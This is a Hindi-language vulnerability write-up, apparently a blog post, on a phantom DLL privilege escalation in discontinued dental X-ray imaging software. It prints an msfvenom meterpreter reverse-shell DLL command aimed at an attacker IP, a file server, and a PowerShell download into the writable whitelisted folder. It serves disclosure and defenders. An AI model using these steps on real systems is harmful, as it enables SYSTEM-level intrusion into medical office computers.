
पैनोरमिक डेंटल इमेजिंग सॉफ्टवेयर में छिपी विशेषाधिकार वृद्धि भेद्यता
मूल रूप से, यह किसी डेंटल एक्स-रे मशीन सॉफ्टवेयर में DLL प्रॉक्सिंग पर एक राइट-अप होने वाला था, लेकिन अपने शोध के दौरान मुझे एक ऐसा DLL मिला जिसने मुझे इसे दोबारा जाँचने पर मजबूर किया, और अंततः एक विशेषाधिकार वृद्धि (privilege escalation) कमजोरी मिली जिससे मुझे CVE प्राप्त हुआ। अपने तकनीकी करियर की शुरुआत में, मैं एक डेंटल एक्स-रे मशीन निर्माता के लिए तकनीकी सहायता करता था, इसके बंद होने से पहले। मुझे वहाँ काम करते समय आने वाले बग्स याद हैं और मैंने हमेशा सोचा कि उस सॉफ्टवेयर में कमजोरियाँ खोजने की कोशिश करना एक अच्छा विचार होगा। इसलिए, यह देखते हुए कि यह सॉफ्टवेयर आज भी उपयोग में है, मैंने यह देखने का फैसला किया कि क्या मैं इसके साथ कुछ शानदार कर सकता हूँ, अब जब मैं सॉफ्टवेयर सपोर्ट के क्षेत्र से बाहर हूँ। मुझे याद है कि कुछ समय पहले अपने साइबर सुरक्षा अध्ययन की शुरुआत में उस सॉफ्टवेयर में कुछ आकर्षक हाइजैक करने योग्य DLL थे, मैंने DLL प्रॉक्सिंग में हाथ आजमाने का फैसला किया ताकि यह देख सकूँ कि क्या मैं उस सॉफ्टवेयर को कार्यशील रखते हुए एक दुर्भावनापूर्ण DLL चला सकता हूँ (वास्तव में गुप्त तरीके से)। यहाँ वह प्रक्रिया है जो मैंने अपनाई और कैसे मैंने गलती से एक विशेषाधिकार वृद्धि कमजोरी खोजी जो (सैद्धांतिक रूप से) OS की पूर्ण वाइप और पुनः स्थापना के बाद भी बनी रह सकती है। उम्मीद है कि यह ब्लू टीम के सदस्यों के लिए उपयोगी जानकारी होगी।
एक बात ध्यान देने योग्य है कि इस सॉफ्टवेयर को अब कोई अपडेट नहीं मिल रहा है, लेकिन मैं जानता हूँ कि एक्स-रे मशीनें आज भी अमेरिका भर में उपयोग में हैं, इसलिए इस कमजोरी का अभी भी कुछ संभावित जोखिम है। इसे यहाँ डाउनलोड किया जा सकता है, साथ में सॉफ्टवेयर मैनुअल यहाँ। एक और बात ध्यान देने योग्य है कि यदि यह सॉफ्टवेयर उपयोग में है, तो 99% संभावना है कि चलने वाली प्रक्रियाएँ और निम्नलिखित स्थान किसी भी उपयोग में आने वाले ERD/AV में व्हाइटलिस्टेड हैं, यह बात सॉफ्टवेयर मैनुअल के पृष्ठ 24 पर भी उल्लेखित है। इस राइट-अप में मैं भी वही करने जा रहा हूँ और इन अपवादों (exclusions) को जोड़ूँगा ताकि यह मेल खाए कि यह सॉफ्टवेयर हर डेंटल कार्यालय में कैसे स्थापित किया जाएगा।

सॉफ्टवेयर स्थापित होने और अपवाद जोड़े जाने के बाद, हम Process Monitor चालू करते हैं और खोज शुरू करते हैं। निम्नलिखित फ़िल्टर जोड़ें और Services में "CCS Service" को पुनः प्रारंभ करें:
एक बार यह भर जाने पर, आप देखेंगे कि इस सॉफ्टवेयर में बहुत सारे हाइजैक करने योग्य DLL हैं। आपको कई "NAME NOT FOUND" परिणाम दिखेंगे और उसी DLL के लिए तुरंत बाद एक अलग स्थान पर "SUCCESS" दिखेगा। एक दिन मैं प्रॉक्सिंग आज़माने के लिए एक उपयुक्त DLL खोजते हुए स्क्रॉल कर रहा था, और लगभग सबसे नीचे तक पहुँचते-पहुँचते कुछ ने मेरा ध्यान खींचा...

क्या यह हो सकता है?? यह है। यह एक फैंटम DLL है जिसे उपयोगकर्ता द्वारा लिखे जा सकने वाले स्थान से SYSTEM इंटीग्रिटी के साथ इनवोक किया जा रहा है।
मूल रूप से, यह एक ऐसा DLL है जो प्रॉक्सिंग के लिए उपयुक्त नहीं होगा क्योंकि मशीन पर कहीं भी कोई वास्तविक DLL मौजूद नहीं है, इसलिए Windows इसे एक विशिष्ट क्रम में पूर्व-निर्धारित फ़ोल्डरों के समूह से इनवोक करने का प्रयास करेगा।
और हमारे परिदृश्य में 5वाँ स्थान है C:\ProgramData\Ajat\panoramic\datastor\lnrdlib.dll
और इस स्थान पर सभी उपयोगकर्ताओं के पास पढ़ने, लिखने और निष्पादित करने की अनुमतियाँ हैं। सबसे बड़ी बात, यह स्थान C:\ProgramData\Ajat\ का एक चाइल्ड फ़ोल्डर है जिसे हर उस वातावरण में व्हाइटलिस्ट किया जाना चाहिए जहाँ यह उपयोग में है।

इस परीक्षण के लिए नेटवर्क सेटअप यहाँ दिया गया है:
चलिए एक साधारण meterpreter dll बनाने से शुरू करते हैं क्योंकि हमें AV के बारे में ज्यादा चिंता करने की ज़रूरत नहीं है, फिर इसे स्थानांतरित करने के लिए एक http सर्वर चालू करते हैं।
## msfvenom to make dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.137 LPORT=443 -f dll > lnrdlib.dll
## python http server
python3 -m http.server 80
वापस Windows पर, आइए अपने मानक उपयोगकर्ता खाते पर स्विच करें, powershell खोलें, उस datastor फ़ोल्डर में नेविगेट करें और निम्नलिखित चलाएँ:
wget http://10.0.1.137/lnrdlib.dll -outfile lnrdlib.dll

यदि सब कुछ सही ढंग से किया गया है, तो एक्सप्लॉइट को ट्रिगर करने के लिए हमें केवल कंप्यूटर को पुनः प्रारंभ करना होगा (चूँकि यह एक सामान्य उपयोगकर्ता कर सकता है, CCS Service को पुनः प्रारंभ करना भी इसे ट्रिगर करेगा)।

सफलता!!!
अब, datastor स्थान के बारे में एक महत्वपूर्ण बात यह है कि यह उन दो स्थानों में से एक है जिनका बैकअप लिया जाना चाहिए, यदि किसी भी कारण से कंप्यूटर को वाइप या बदलने की आवश्यकता हो और सॉफ्टवेयर पुनः स्थापित किया जाए। यदि calib फ़ोल्डर की सामग्री खो जाती है, तो उन्हें वापस पाने के लिए एक तकनीशियन को आकर एक्स-रे मशीन को पुनः कैलिब्रेट करना होगा। यदि datastor फ़ाइलें खो जाती हैं, तो आप सबसे हाल की एक्स-रे छवियाँ खो देंगे जो अभी तक सहेजी नहीं गई थीं, इसलिए इस स्थान का बैकअप लेना कुछ हद तक वैकल्पिक है। यह वह स्थान है जहाँ मैलवेयर निवास करेगा, इसलिए सैद्धांतिक रूप से यह संभव है कि कोई व्यक्ति गलती से किसी कंप्यूटर को मैलवेयर से पुनः संक्रमित कर दे, यदि वे नए कंप्यूटर में बैकअप किए गए datastor की सामग्री को पुनर्स्थापित करते हैं, जिसमें मैलवेयर और वे सभी हाल की एक्स-रे छवियाँ मौजूद थीं। यह सॉफ्टवेयर मैनुअल के पृष्ठ दो पर उल्लेखित है।
